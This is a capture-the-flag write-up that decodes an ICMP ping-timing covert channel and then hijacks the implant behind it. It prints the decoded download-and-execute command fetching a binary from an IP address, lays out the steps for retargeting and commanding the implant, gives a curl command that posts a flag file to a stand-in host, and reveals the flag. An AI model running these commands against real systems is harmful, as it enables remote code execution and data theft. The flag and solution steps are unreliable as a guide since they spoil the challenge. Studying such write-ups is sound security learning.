Плоскоссан — alfactf

Category: forensics / network / malware
Status: solved
Flag: alfa{HIdE_y0uR_AC7IvItY_ANd_bE_sAFe}

Summary

The PCAP contains only ICMP echo request/reply traffic between the victim and a controller. The useful data is hidden in the reply timing:

• ~0.1s = bit 0
• ~0.5s = bit 1
• ~0.3s = sync / frame separator

Decoding the capture reveals two NUL-terminated strings:

ok
exec curl -o /tmp/.x http://157.180.44.191:8080/client_bin; chmod +x /tmp/.x; /tmp/.x; rm -f /tmp/.x

So the original controller used ICMP timing to instruct the victim to fetch and run a second-stage binary.

Stage 1: Decode the timing channel

The capture has only two flows:

• 46.62.209.189 -> 157.180.44.191 ICMP echo request
• 157.180.44.191 -> 46.62.209.189 ICMP echo reply

If we pair request/reply packets by ICMP id/seq and measure the delay, the timing stream splits into frames separated by ~0.3s. Inside a frame:

• delay < 0.3s → 0
• delay >= 0.3s → 1

Reading 8 bits MSB-first reconstructs the command strings above.

Stage 2: Analyze the downloaded binary

The URL from the decoded command serves an ELF binary called client_bin.

Useful strings/symbols show the protocol logic:

• add
• exec
• server exec ignored: %s
• exec from %s mid=%d: %s
• send_some_request
• send_some_reply
• /bin/bash

This reveals two modes:

Bot session

The implant can receive a timing-encoded bot command directly. The important one is:

add <ip>

After receiving add <ip>, the victim starts pinging that IP itself.

Link session

Once the victim is pinging the chosen host, that host can reply with delayed ICMP echo replies. In this mode, exec ... is accepted and executed.

So the attack is:

1. send add <our-public-ip> to the victim;
2. wait for the victim to begin ICMP requests to us;
3. answer with delayed ICMP replies encoding exec ...;
4. exfiltrate command output over HTTP because output is not returned through ICMP.

Stage 3: Take over the implant

To reproduce the exploit, a Linux VPS with a public IPv4 address was used.

One critical step is disabling normal kernel ICMP echo replies so they do not break the timing channel:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

The custom controller must send ICMP echo-reply packets that preserve:

• ICMP id
• ICMP seq
• the original ICMP payload

Only the timing changes.

Then a bot command is sent to retarget the implant:

add <VPS_IP>

After that, the victim begins pinging the VPS and can be controlled through delayed ICMP replies.

Stage 4: Verify code execution

A short probe command was used first:

exec curl http://<VPS_IP>/x1

This produced a request from the victim to the HTTP listener, confirming that the retargeting and ICMP controller both worked.

For repeated commands, sending exec ... without an initial ok frame was the most reliable behavior in reproduction.

Stage 5: Exfiltrate the flag

The participant solution suggested the flag path was /app/flag.txt. The final command used was:

exec curl -d@/app/flag.txt http://<VPS_IP>/

The HTTP listener received the POST body:

alfa{HIdE_y0uR_AC7IvItY_ANd_bE_sAFe}

Minimal reproduction flow

1. Decode the PCAP timing channel.
2. Download and inspect client_bin.
3. Start a public HTTP listener.
4. Disable kernel ICMP echo replies on the VPS.
5. Send add <VPS_IP> to the victim.
6. Wait for victim ICMP requests.
7. Reply with delayed echo replies encoding exec curl -d@/app/flag.txt http://<VPS_IP>/.
8. Read the flag from the HTTP POST body.

Notes

• The public VPS IP and domain used during reproduction are intentionally omitted.
• The writeup keeps the operational setup generic as <VPS_IP>.